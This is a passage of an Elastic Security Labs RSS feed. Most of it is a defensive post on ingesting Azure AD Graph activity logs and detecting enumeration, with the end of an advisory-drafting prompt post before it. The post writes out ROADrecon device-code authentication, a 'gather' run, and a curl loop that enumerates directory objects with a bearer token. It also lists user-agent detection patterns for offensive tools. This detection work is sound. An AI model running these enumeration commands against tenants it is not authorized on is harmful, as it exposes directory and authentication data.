---

## INTAKE

Extract as many of the following fields as possible from the report:

1. Product name
2. Advisory identifier
3. CVE identifier
4. Fixed version or release
5. Affected versions
6. Deployment or configuration context

Include a Serverless remediation note only when the affected product has a Serverless offering or when applicability has been separately confirmed.

---

## GROUNDING AND SAFETY RULES

1. Use authoritative taxonomy data and product documentation as the primary sources of truth.
2. Prefer grounded retrieval over model inference when choosing weakness and attack-pattern classifications.
3. Keep the public advisory focused on what the issue is, who is affected, and how customers should respond.
4. Remove or generalize details that would make exploitation easier, including specific internal component names, file paths, endpoint paths, parameter names, port numbers, stack traces, and infrastructure identifiers.
5. For dependency vulnerabilities, include upstream dependency and CVE context only when that information is necessary to explain exposure.

---

## CLASSIFICATION GUARDRAILS

Before selecting taxonomy entries, identify the likely implementation language of the affected component.

- If the component is implemented in a memory-safe language, avoid memory-corruption classifications unless the report clearly indicates native-code involvement or low-level memory-corruption behavior.
- Select weakness classifications based on root cause.
- Select attack-pattern classifications based on methodology, not impact.
- If no attack-pattern entry accurately describes the method, omit it rather than forcing a weak match.

---

## MITIGATIONS AND SEVERITY

- Confirm affected configurations, deployment defaults, and workaround viability against product documentation before stating them.
- Distinguish between self-managed and hosted or managed deployment guidance when the mitigations differ.
- Produce only a draft CVSS assessment and justify each metric from the report details rather than from the vulnerability label alone.

---

## OUTPUT FORMAT

Return two clearly separated sections:

1. The Advisory
  - Subject line
  - One-line summary
  - Affected versions
  - Affected configurations
  - Solutions and mitigations
  - Indicators of compromise, when applicable
  - Serverless note, when applicable
  - Severity, CVE, problem type, and impact

2. Reasoning
  - Language assessment and safety guardrails applied
  - Rationale for selected taxonomy entries
  - Privilege assumptions
  - Draft CVSS metric reasoning

The public-facing advisory should stay high level. The Reasoning section may retain the additional context needed for internal validation.
</code></pre>
<h2>The result: faster, consistent CVE advisory drafts</h2>
<p>To use the agent, we take a security report (typically from our bug bounty programme) and paste the content into the Agent Builder conversation window. That content is usually free-form: a vulnerability description, the affected component and version, reproduction steps, and the researcher's view of impact.</p>
<p>The agent performs RAG against the CWE and CAPEC indices, applies the rules and guardrails in the prompt, and produces the two-part output described above: a draft security advisory, and a Reasoning section explaining its choices.</p>
<p>Before the draft is put forward for publication, the Product Security reviewer works through a short validation pass:</p>
<ul>
<li>
<p><strong>Confirm CWE and CAPEC selections against MITRE.</strong> The Reasoning section names the entries chosen and why. The reviewer verifies that each ID matches the official MITRE entry and that the selection lines up with the actual vulnerability.</p>
</li>
<li>
<p><strong>Sanity-check the CVSS metric reasoning.</strong> The Reasoning lays out a one-sentence justification per metric. The reviewer challenges anything that doesn't follow from the report.</p>
</li>
<li>
<p><strong>Scan for any over or under sharing.</strong> The disclosure checklist strips implementation details and replaces them with abstract language. The reviewer scans the Advisory for any specifics that may have slipped through, and equally for anything that should be included but has not been. The paragraph should be enough to understand the issue without being a proof-of-concept.</p>
</li>
<li>
<p><strong>Verify Affected Configurations and Mitigations sections.</strong> The agent reads from product documentation to formulate the &quot;Affected Configurations&quot; and &quot;Mitigations&quot; sections. These sections go to the engineering team that owns the product for verification before the advisory is published — only they have ground truth on feature defaults and whether a stated workaround actually works on the affected releases.</p>
</li>
</ul>
<p>The CVSS score is explicitly labelled draft in the agent's output — the Engineering team responsible for the product and the InfoSec Product Security team sign off on the final score before publication. In practice most drafts need light editing rather than rewriting; the agent gets the structure right, and the reviewer is checking judgment calls and product-specific behaviour.</p>
<p>The example output below is what the agent produced for <a href="https://discuss.elastic.co/t/metricbeat-8-19-10-9-1-10-9-2-4-security-update-esa-2026-01/384519">ESA-2026-01</a>, an advisory we published for Metricbeat.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/security-advisory-automation-rag-elastic-agent-builder/example-output.png" alt="Sample output" /></p>
<h2>What's next: closing the loop with Elastic Workflows</h2>
<p>Combining generative AI with RAG against authoritative MITRE catalogues has turned what used to be a manual, time-consuming task into a consistent and faster part of our advisory process. The pipeline is already producing drafts that go to production — <a href="https://discuss.elastic.co/t/metricbeat-8-19-10-9-1-10-9-2-4-security-update-esa-2026-01/384519">ESA-2026-01</a>, shown above, is one example.</p>
<p>The biggest win is the slowest part of the old process: taking a long vulnerability report — often varying in quality and dense with technical detail — and distilling it into a concise, accurate advisory with a clear impact assessment for customers. That distillation, along with the CVE templating, CWE/CAPEC mapping, and CVSS metric reasoning, is now drafted by the agent. Our team's effort goes into the parts that need human judgment: product-specific behaviour and impact scoring.</p>
<p>The next step is closing the loop end-to-end. Today, the agent is invoked manually; an analyst pastes the vulnerability report into the conversation window. We want to wire this into the triage step itself, using something like <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows">Elastic Workflows</a>: once a vulnerability is confirmed and accepted for disclosure, the workflow invokes the agent automatically and produces a draft advisory. From there, InfoSec and Engineering collaborate on a single document, replacing the manual hand-offs between triage, drafting, and review.</p>
<p>What made this work was the combination of stable, authoritative data to ground the agent against and a strict review step. Both matter. The same pattern can apply to any structured drafting task with a defined output template and a trustworthy data source. To learn more about building your own generative AI solutions with Elastic, check out the <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Elastic Agent Builder documentation</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/security-advisory-automation-rag-elastic-agent-builder/cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Azure AD Graph Activity Logs: Ingestion and threat detection to close the visibility gap]]></title>
            <link>https://www.elastic.co/fr/security-labs/aad-graph-activity-logs-threat-detection</link>
            <guid>aad-graph-activity-logs-threat-detection</guid>
            <pubDate>Fri, 19 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Azure AD Graph Activity Logs land in Elastic with full ECS parsing. Detect ROADrecon and AADInternals enumeration with ready-to-use detection rules. ]]></description>
            <content:encoded><![CDATA[<p>AAD Graph Activity Logs are now ingestible into Elastic and usable for threat detection within the <a href="https://www.elastic.co/fr/security/xdr">SIEM/XDR solution</a>. That sentence shouldn't be exciting, but it is. For most of the past decade, this slice of telemetry simply didn't exist as a customer-accessible log stream. Microsoft Graph Activity Logs (the modern <em>graph.microsoft.com</em> surface) went GA in April 2024. The legacy graph.windows.net surface, the one adversary tooling actually hits, stayed dark until early 2026.</p>
<p>This post walks the loop end-to-end. Why visibility matters, how to ingest the logs into Elastic, how to generate realistic recon manually and with ROADrecon, and how to hunt the result in ES|QL. Everything below was validated against a live tenant.</p>
<h2>Key takeaways</h2>
<ul>
<li>
<p>AAD Graph Activity Logs ride into Elastic through the <a href="https://www.elastic.co/fr/docs/reference/integrations/azure">Azure integration</a> and land in <code>logs-azure.aadgraphactivitylogs-*</code> with full ECS extraction.</p>
</li>
<li>
<p>ROADtools, AADInternals, and friends have been operating in a visibility gap for years. Defenders weren't capturing the calls.</p>
</li>
<li>
<p>AAD Graph is &quot;deprecated&quot; but still queryable in most tenants. The 1.61-internal API version still returns data that Microsoft Graph won't.</p>
</li>
<li>
<p>ECS fields land typed (<code>event.action</code>, <code>event.outcome</code>, <code>http.request.method</code>, <code>source.ip</code>, <code>user.id</code>, <code>user_agent.original</code>). Dataset extras stay queryable under <code>azure.aadgraphactivitylogs.properties.*</code>.</p>
</li>
<li>
<p>Five hunts reliably catch the activity: tooling user-agents, endpoint breadth, <code>*-internal</code> API misuse, FOCI client-ID mismatches, and 4xx surges.</p>
</li>
</ul>
<h2>A short history of defender visibility</h2>
<p>Defenders have spent years on sign-ins, conditional access, role assignments, and OAuth consent grants. Very little content covers the <em>underlying</em> directory APIs that adversary tooling actually hits. The reason is structural: customer-accessible logs for those APIs didn't exist. Microsoft Graph Activity Logs landed first (preview October 2023, GA April 2024). AzureADGraphActivityLogs finally showed up in early 2026.</p>
<p>For most of the past decade, AAD Graph enumeration was invisible to SOCs, not because the telemetry was hidden, but because it didn't exist. ROADtools, AADInternals, MSOLSpray, Microburst. None of them produced data that anyone could capture, even with a perfect logging configuration.</p>
<p>That changes the day AzureADGraphActivityLogs start landing in your platform-logs index.</p>
<h2>AAD Graph is “deprecated” but still very much alive</h2>
<p>Quick refresher. Azure AD Graph is the legacy REST API for Entra ID directory objects, hosted at <code>https://graph.windows.net/{tenantId}/{objecttype}</code> with API versions like <em>1.5</em>, <em>1.6</em>, and <em>1.61-internal</em>. Microsoft has been telling everyone to migrate to Microsoft Graph since 2019, and the retirement date has slipped several times.</p>
<p>Deprecation isn’t gone. In 2026, AAD Graph can still answer requests in environments where legacy access paths remain available or where applications have not been explicitly blocked from using it. A few reasons it sticks around as an attacker target:</p>
<ul>
<li>
<p>Adversary tooling hasn't been ported. ROADrecon still uses it for <code>gather</code>. AADInternals has dozens of cmdlets wrapping it.</p>
</li>
<li>
<p>The <code>*-internal</code> API versions return more data. <code>1.61-internal</code> exposes <code>strongAuthenticationDetail</code> inline on the user object during a normal directory walk. The Microsoft Graph equivalent lives behind a separate /authentication/methods endpoint gated by <code>UserAuthenticationMethod.Read.All</code>. That asymmetry is exactly what bulk enumeration tooling exploits.</p>
</li>
<li>
<p>The block isn't a single toggle. The <code>blockAzureADGraphAccess</code> control lives per-app on <code>application.authenticationBehaviors</code>, so blocking tenant-wide means iterating every app registration. Most environments haven't done that because some legacy automation still depends on the API. Microsoft's phased retirement enforcement does the work on Microsoft's timeline, not the defender's.</p>
</li>
<li>
<p>Visibility did not exist, thus red teamers and adversaries could hammer the API endpoints for relevant information.</p>
</li>
</ul>
<p>Legitimate AAD Graph traffic is dominated by a handful of first-party Microsoft callers. In our test tenant, the order, by volume, was <code>Microsoft.OData.Client</code>, <code>Microsoft Azure Graph Client Library</code>, an empty-UA tail from first-party AppIds, <code>Microsoft ADO.NET Data Services</code>, and the Azure portal (Chrome UAs against the portal app ID). Anything outside that recognisable set is either internal tooling or unauthorized activity. That makes it a solid threat hunting/detection dataset. If you're capturing it.</p>
<h2>Setting up the ingestion pipeline</h2>
<p>If you're already running the Elastic Azure <a href="https://www.elastic.co/fr/docs/reference/integrations/azure">integration</a> with diagnostic settings forwarding to an event hub, skim this section. You probably just need to enable one extra log category. From scratch, it's about a 20-minute path.</p>
<h4>Step 1: A stack to receive the logs</h4>
<p>Any Elastic deployment works. An Elastic Cloud trial is the lowest-friction option for prototyping. Another option is the <a href="https://github.com/peasead/elastic-container">Elastic Container Project</a> for getting started. The Azure integration already handles AzureADGraphActivityLogs once it's enabled.</p>
<h4>Step 2: Add the Azure integration</h4>
<p>In Kibana, Integrations &gt; Azure Logs &gt; Add Azure Logs. Plug in your Event Hub connection string, the Event Hub name, and a Storage account for offset checkpointing, all on an event hub in the same subscription as your tenant.</p>
<p>Enable the Azure logs v2 data stream specifically. That's the entry point for AAD Graph Activity Logs. The events router matches <code>category == &quot;AzureADGraphActivityLogs&quot;</code> and reroutes documents to <code>logs-azure.aadgraphactivitylogs-*</code>, where the dataset pipeline applies full ECS extraction.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/collect-azure-logs.png" alt="" /></p>
<p>We've also broken Azure AD Graph Activity Logs out into its own integration item, so you can search for &quot;Azure AD Graph Activity Logs&quot; and install via the policy template directly.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/azure-graph.png" alt="" /></p>
<h4>Step 3: Enable diagnostic settings on Entra ID</h4>
<p>This is the step most defenders miss. AzureADGraphActivityLogs as a diagnostic-settings category is newer. Even if your Entra ID diagnostic settings have been configured for a while now, the new category needs a fresh tick. Otherwise, the data lives and dies in Microsoft's tenant boundary.</p>
<p>In the Azure portal:</p>
<ol>
<li>Entra ID &gt; Monitoring &gt; Diagnostic settings &gt; + Add diagnostic setting.</li>
<li>Name it.</li>
<li>Under Logs, check AzureADGraphActivityLogs. While you're there, MicrosoftGraphActivityLogs, SignInLogs, and AuditLogs are worth turning on if they aren't already. The integration handles all of them.</li>
<li>Under Destination details, Stream to an event hub (the same one from step 2).</li>
<li>Save.</li>
</ol>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/diagnostic-setting.png" alt="" /></p>
<h4>Step 4: Verify data is flowing</h4>
<p>Within a few minutes, you should start seeing events. Fastest sanity check:</p>
<pre><code class="language-sql">FROM logs-azure.aadgraphactivitylogs-*
| LIMIT 20
</code></pre>
<p>If documents come back with a populated <code>event.action</code>, <code>http.request.method</code>, and <code>zure.aadgraphactivitylogs.properties.*</code> fields, you're good. If nothing shows up, the usual suspects are a forgotten event hub permission, a typo in the connection string, or the AAD Graph category just not being ticked.</p>
<p>To force a few events, sign in to the Azure portal and click around Users or Applications. The portal still calls AAD Graph internally for some object details. If that doesn't generate anything, this curl loop will:</p>
<pre><code class="language-sh">TOKEN=$(az account get-access-token --resource https://graph.windows.net --query accessToken -o tsv)
TID=$(az account show --query tenantId -o tsv)
for obj in users groups servicePrincipals applications tenantDetails; do
  curl -sS -o /dev/null -H &quot;Authorization: Bearer $TOKEN&quot; \
    &quot;https://graph.windows.net/$TID/$obj?api-version=1.6&amp;\$top=5&quot;
done
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/verify-data-flowing.png" alt="" /></p>
<h2>Field shape</h2>
<p>Once data is flowing, properties land as typed, top-level fields. The ones that matter for hunting:</p>
<ul>
<li><a href="https://www.elastic.co/fr/docs/reference/ecs">ECS</a>, populated directly: <code>event.action</code> (a semantic verb derived from method + collection, e.g., <code>users-read, batch-execute</code>), <code>event.outcome</code>, <code>event.duration</code>, <code>http.request.method</code>, <code>http.response.status_code, source.ip</code>, and <code>source.geo.*, user.id, user_agent.original</code> (plus parsed sub-fields), <code>url.path, azure.tenant_id, cloud.service.name = &quot;Azure AD Graph&quot;</code>.</li>
<li>Dataset-specific under <code>zure.aadgraphactivitylogs.properties.*: app_id,</code>, <code>app_id</code>, <code>api_version</code>, <code>actor_type</code>, <code>roles</code>, <code>scopes</code>, <code>wids</code>, <code>identity_provider</code>, <code>client_auth_method</code>, <code>sign_in_activity_id</code>, <code>token_issued_at</code>.</li>
<li><code>related.user</code> gets both <code>user.id</code> and <code>properties.app_id</code>, so pivots on the OAuth-client dimension work alongside the user pivot.</li>
</ul>
<p>Raw JSON stays in <em>event.original</em> for forensic replay. You shouldn't need to reach into it for normal hunting. If you do, ES|QL's <a href="https://www.elastic.co/fr/docs/reference/query-languages/esql/functions-operators/string-functions/json_extract"><em>JSON_EXTRACT()</em></a> is the lever.</p>
<h2>AAD Graph enumeration with ROADrecon</h2>
<p>To know what to hunt, you need to know what the activity looks like. The two toolkits below are the most common sources of AAD Graph traffic in red team and security research workflows. I ran both against our testing tenant.</p>
<p>Note: I take no responsibility for misuse of this code. Run these tools only against tenants you own or have explicit written authorization to test.</p>
<h3>ROADrecon: Bulk enumeration test</h3>
<p>ROADrecon is the data-collection module of <a href="https://github.com/dirkjanm/ROADtools">ROADtools</a>, Dirk-jan Mollema's Entra ID research framework. Highly recommended if you haven't used it. <em>gather</em> walks every interesting object type in the directory (users, groups, service principals, applications, devices, directory roles, role assignments, eligible role assignments, OAuth2 permission grants, administrative units) and writes the result to SQLite.</p>
<p>Setup is the standard workflow:</p>
<pre><code class="language-sh">pip install roadrecon
roadrecon auth --device-code -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 -r https://graph.windows.net
</code></pre>
<p>The device-code flow hands you a URL and a code. We use the Microsoft Azure CLI as the default (<code>1b730954-1685-4b74-9bfd-dac224a7b894</code> - AAD PowerShell), which returned 403s in our tenant. After signing in:</p>
<pre><code class="language-sh">roadrecon gather
</code></pre>
<p>Running <em>roadrecon gather</em> with the resulting token completed cleanly. From the tenant's perspective, the run produced just over ~2,000 AAD Graph calls and logs in roughly 1 minute. Bulk enumeration across every object type ROADrecon knows.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/roaddrecon.png" alt="" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/roaddrecon2.png" alt="" /></p>
<p>From this, we can form some initial detections to start flagging these anomalies.</p>
<h2>Key fields for AAD Graph threat detection</h2>
<p>Before the hunts, here are some solid starting fields for detecting anomalies.</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
<th>What you can find</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>event.action</code></td>
<td>Semantic verb (HTTP method + collection, e.g.,`users-read, batch-execute)</td>
<td>A cheap filter to isolate AAD Graph activity by intent</td>
</tr>
<tr>
<td><code>http.request.method</code></td>
<td>GET, POST, PATCH`, DELETE</td>
<td>Reads (recon) vs writes (modification, credential injection, persistence)</td>
</tr>
<tr>
<td><code>http.response.status_code</code></td>
<td>HTTP status returned</td>
<td>Successful vs blocked recon; bursts of 4xx indicate permission-probing or brute-forcing</td>
</tr>
<tr>
<td><code>user.id</code></td>
<td>Calling user's directory object ID</td>
<td>Identity attribution; pivot to that user's other activity in SignInLogs / AuditLogs</td>
</tr>
<tr>
<td><code>user_agent.original</code></td>
<td>Full UA string of the caller</td>
<td>Whether the caller is a first-party Microsoft library, a developer tool (curl, Python aiohttp), or known offensive tooling</td>
</tr>
<tr>
<td><code>url.path</code></td>
<td>Resource path (/users, /policies, /servicePrincipals, ...)</td>
<td>Which directory object types are being touched; breadth across distinct paths indicates bulk enumeration</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.app_id</code></td>
<td>OAuth client ID that issued the token</td>
<td>Whether traffic comes from a legitimate first-party client or from a FOCI-swap-style abuse path</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.api_version</code></td>
<td>1.5, 1.6, 1.61-internal, etc.</td>
<td>Whether the caller is asking for internal-only fields (strongAuthenticationDetail, full CAP set) that adversary tooling specifically targets</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.actor_type</code></td>
<td>User, Application, ServicePrincipal</td>
<td>Human caller vs service-principal / app-only flow</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.roles</code> / <code>wids</code></td>
<td>Directory role display names and well-known role template GUIDs held by the caller</td>
<td>Whether a privileged role (Global Admin, Application Administrator, etc.) is being exercised at the moment of the call</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.scopes</code></td>
<td>OAuth scopes on the calling token</td>
<td>Which directory permissions the token actually grants the caller</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.client_auth_method</code></td>
<td>How the client authenticated (PRT, certificate, secret, ...)</td>
<td>Fingerprints for PRT abuse, device-PRT exploitation, or stolen client-credential use</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.sign_in_activity_id</code></td>
<td>Correlation ID to the originating sign-in</td>
<td>Pivot from an AAD Graph call back to the sign-in event that produced the calling token</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.token_issued_at</code></td>
<td>Timestamp the token was minted</td>
<td>Token-age analysis; calls riding on a token issued days ago can indicate stale-token / refresh-token abuse</td>
</tr>
</tbody>
</table>
<h2>Detection and prevention</h2>
<h3>Detection</h3>
<p>The prerequisite for any AAD Graph detection is having the logs in the first place. The <em>AzureADGraphActivityLogs</em> diagnostic category needs to be enabled in Entra ID and routed to a destination you can query (at minimum a Log Analytics workspace, ideally also forwarded to an event hub for Elastic ingestion as described in the setup section above). Until that's done, the calls described in this post happen entirely off-camera, and none of the hunts below will fire.</p>
<p>If you can't ingest into Elastic right now, enable the diagnostic setting anyway and send to Log Analytics. The KQL equivalents of the hunts below are straightforward, and the data accumulates with retention even without further processing.</p>
<h3>Prevention</h3>
<p>There's no single tenant-wide AAD Graph kill-switch in the portal. The actual application-layer control is:</p>
<ul>
<li><code>application.authenticationBehaviors.blockAzureADGraphAccess</code></li>
</ul>
<p>A per-app Boolean on the application resource (Microsoft Graph beta, <a href="https://learn.microsoft.com/en-us/graph/api/resources/authenticationbehaviors">docs</a>). Blocking at scale means walking through every app registration and flipping it manually or programmatically. Microsoft's own phased retirement is doing this on their timeline regardless. The further along that gets, the less surface there is to defend.</p>
<p>Defenders can move on the same axes in the meantime:</p>
<ul>
<li>
<p>Audit applications in your tenant that still hold tokens for <em>graph.windows.net</em>. Set <code>blockAzureADGraphAccess = true</code> on the ones that don't need it. Anything still depending on AAD Graph breaks loudly, which surfaces legacy automation you didn't know you had.</p>
</li>
<li>
<p>Apply Conditional Access with Azure AD Graph as a target resource. The Azure AD Graph service principal (<code>00000002-0000-0000-c000-000000000000</code>) doesn't show in the standard CA app picker, but it's covered by <em>All resources</em> policies and is individually targetable via the <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps#protect-directory-information">custom security attribute filter approach</a>. Microsoft's <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps#new-conditional-access-behavior-when-an-all-resources-policy-has-a-resource-exclusion">March 2026 enforcement change</a> makes this more practical: low-privilege scopes (<em>User.Read</em>, <em>People.Read</em>, etc.) that used to be auto-excluded from CA enforcement are now treated as AAD Graph access, so <em>all resource</em> policies actually gate them. CA evaluates at token issuance, so already-valid tokens keep working until expiry.</p>
</li>
<li>
<p>Apply CA to the FOCI clients adversary tooling rides on (Microsoft Teams, Microsoft Office, OneDrive, Azure PowerShell, etc.). Require managed and compliant devices. The swap path collapses if the underlying client can't sign in.</p>
</li>
<li>
<p>For service-principal callers, <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/workload-identity">Workload Identities Premium</a> adds CA scoped to service principals. Conditions are limited to location, Identity Protection risk, and authentication context; the only grant control is Block. Useful for collapsing external- and risky-context paths, not for scoping an SP to specific cloud apps the way user CA does.</p>
</li>
<li>
<p>Disable device-code flow for users who don't need it. <code>roadrecon auth --device-code</code> is the path of least resistance into the entire pipeline above and is extremely common in OAuth phishing.</p>
</li>
</ul>
<h3>Behavior detection</h3>
<p>We shipped detection rules covering the AAD Graph recon shapes documented above. Each lives in the <a href="https://github.com/elastic/detection-rules">Elastic detection-rules</a> repository and runs natively against the parsed <code>logs-azure.aadgraphactivitylogs-*</code> data stream.</p>
<p><a href="https://github.com/elastic/detection-rules/blob/31d1fa31152c208dfde4feeb6737ca06e030ae53/rules/integrations/azure/discovery_aad_graph_suspicious_user_agent.toml">Azure AD Graph Access with Suspicious User-Agent</a> - KQL match rule. Triggers when AAD Graph receives traffic from user-agent strings matching offensive tooling families (Python, aiohttp, curl, Go-http-client, axios, AzureHound, BloodHound, AADIntenals, etc.). Solid baseline signal because no first-party Microsoft component identifies as any of these, while default tooling does. </p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/azuread-graph-suspicious-user-agent.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/df0396ea4a3b0fb25529444166c36c430941d3a6/rules/integrations/azure/discovery_aad_graph_high_4xx_ratio_by_user.toml">Azure AD Graph High 4xx Error Ratio from User</a> - ES|QL aggregation. Triggers when a single caller produces an unusually high ratio of 4xx responses against AAD Graph in a short window. Recon and brute-force token usage leave a tail of 403s and 404s as tools walk endpoints they don't have permission for, ask for object IDs they don't have, or use a client ID unauthorized for AAD Graph. </p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/azure-ad-graph-high-error-ratio-user.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/0c15c6c581780d962b33972a8a83263b75fb2d79/rules/integrations/azure/discovery_aad_graph_unusual_client_for_user.toml">Azure AD Graph Access with Unusual Client and User</a> - KQL new_terms rule, medium severity. Fires when a (calling OAuth client, signed-in user) pair appears on AAD Graph for the first time in the prior 14 days. Catches FOCI swaps, phished refresh tokens redeemed for clients the user doesn't normally use, and stolen tokens used under unfamiliar clients. Ignores known first-party applications that were commonly observed interacting with Azure AD that are backend owned by Microsoft.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/azure-unusual-client-user.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/6f933e04ddbe720898c9ea9c4bae234700a822fe/rules/integrations/azure/initial_access_aad_graph_unusual_asn.toml">Azure AD Graph Access with Unusual User and ASN</a> - KQL match rule. Excludes the common Microsoft / AWS / GCP / Akamai / Cloudflare ASN organisations and flags AAD Graph traffic originating outside that set. Adversary tooling typically rides on residential ISPs, VPS providers, or anonymising networks that produce a different ASN distribution than legitimate first-party callers. Tunable per tenant by adjusting the excluded ASN list.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/3.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/4256409e8925a8da016448d1378bc669c2333961/rules/integrations/azure/discovery_aad_graph_roadrecon_aiohttp_enumeration.toml">Azure AD Graph Potential Enumeration (ROADrecon)</a> - ES|QL aggregation, <strong>high severity</strong>. Requires both an <em>aiohttp</em> user-agent and a burst of 500+ AAD Graph requests from a single identity. ROADrecon's <em>gather</em> command uses aiohttp by default and walks every directory object type, so the combination is essentially a tool fingerprint. Higher severity than the generic non-Microsoft UA rule because the additional burst requirement removes the developer-prototype false-positive class.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/graph-potential.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/6a946179e66c7a952e55a33741c160d6bd83f3b8/rules/integrations/azure/credential_access_device_code_signin_aad_graph_enum.toml">Entra ID OAuth Device Code Sign-in to Azure AD Graph Enumeration</a> - EQL sequence, <strong>high severity</strong>. Joins a successful device-code sign-in to the legacy AAD Graph audience (<code>00000002-0000-0000-c000-000000000000</code>) on an unmanaged device with directory enumeration against <em>graph.windows.net</em> by the same user within five minutes. Device-code phishing lands an OAuth token without touching the user's password or MFA, so immediate Graph reads of users, service principals, applications, role assignments, policies, or tenant details under that token are the compromised identity being driven by the attacker. Cross-data-stream sequence removes the single-event false-positive class that the other AAD Graph rules carry.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/id-oauth.png" alt="" /></p>
<h2>AAD Graph visibility: what comes next</h2>
<p>For most of the past decade, AAD Graph activity was the telemetry equivalent of dark matter. We knew it was there because adversary tooling kept pointing at it, but customers had no diagnostic stream to subscribe to and no logs to query. Microsoft Graph Activity Logs closed half the gap when they went GA in April 2024. <em>AzureADGraphActivityLogs</em> finally closed the other half in early 2026.</p>
<p>Now that the data exists, the rest is on us. Add the new diagnostic setting, point it at an event hub, ingest into your stack, turn detections on (or create your own) and get to monitoring.</p>
<p>The detections in this post are a starting point. Once you have AAD Graph traffic landing in your stack and a baseline of what normal looks like in your tenant, the same patterns generalize. Legitimate first-party Microsoft callers form a small, recognisable set, and anything outside that set deserves a closer look.</p>
<p>The activity was always there. The visibility finally is too.</p>
<p>Happy hunting!</p>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/fr/docs/reference/integrations/azure">Elastic Azure Integration</a></li>
<li><a href="https://github.com/dirkjanm/ROADtools">ROADtools GitHub</a></li>
<li><a href="https://github.com/dirkjanm/ROADtools/wiki">ROADtools wiki</a></li>
<li><a href="https://github.com/dirkjanm/BloodHound-AzureAD">BloodHound with Azure AD capabilities</a></li>
<li><a href="https://github.com/Gerenios/AADInternals">AADInternals</a></li>
<li><a href="https://aadinternals.com/aadinternals/">AADInternals documentation</a></li>
<li><a href="https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview">Migrate your apps from Azure AD Graph to Microsoft Graph</a></li>
<li><a href="https://learn.microsoft.com/en-us/entra/identity/monitoring-health/howto-configure-diagnostic-settings">Configure Microsoft Entra diagnostic settings for activity logs</a></li>
<li><a href="https://learn.microsoft.com/en-us/graph/microsoft-graph-activity-logs-overview">Access Microsoft Graph activity logs</a></li>
<li><a href="https://techcommunity.microsoft.com/blog/microsoft-entra-blog/microsoft-graph-activity-logs-is-now-generally-available/4094535">Microsoft Graph activity logs is now generally available</a></li>
<li><a href="https://www.invictus-ir.com/news/the-missing-link-aadgraphactivitylogs-finally-arrives">The Missing Link: AADGraphActivityLogs Finally Arrives</a></li>
<li><a href="https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/">Azure AD privilege escalation - Taking over default application permissions as Application Admin</a></li>
<li><a href="https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/">Abusing Azure AD SSO with the Primary Refresh Token</a></li>
</ul>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/fr/security-labs/">www.elastic.co/security-labs/</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/covernew.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Lost in relocation: analysis of a new loader distributing CASTLESTEALER]]></title>
            <link>https://www.elastic.co/fr/security-labs/oxloader-malware-loader-infostealer</link>
            <guid>oxloader-malware-loader-infostealer</guid>
            <pubDate>Fri, 19 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Find out how a new obfuscated loader evades static detection using .reloc section abuse, five anti-VM/language checks and MBA obfuscation to deliver infostealer malware via Google Ads.]]></description>
